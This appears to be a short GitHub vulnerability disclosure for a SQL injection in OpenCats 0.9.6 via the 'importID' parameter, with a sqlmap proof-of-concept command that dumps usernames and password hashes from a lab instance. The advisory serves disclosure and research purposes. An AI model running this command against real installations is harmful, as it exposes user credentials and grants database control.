hansmach1ne Update SQLI_imports_errors.md History

1 contributor

14 lines (9 sloc) | 777 Bytes

SQL injection vulnerability in OpenCats 'Import viewerrors' functionality.

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over data that gets passed inside SQL query, which allows SQL injection in SELECT statement via GET 'importID' parameter.

#Poc Decided to test this with sqlmap. Let's exfiltrate username and password hashes from the database.

```
sqlmap -u "http://192.168.203.135/opencats/index.php?
m=import&a=viewerrors&importID=1" --cookie="CATS=cl2201l24aihqlnch0jgnr4pd2" -T
user -C user_id,user_name,password -p "importID" --flush-session --dump
```

04.10.2022_00.44.40_REC.mp4


0:00 / 0:44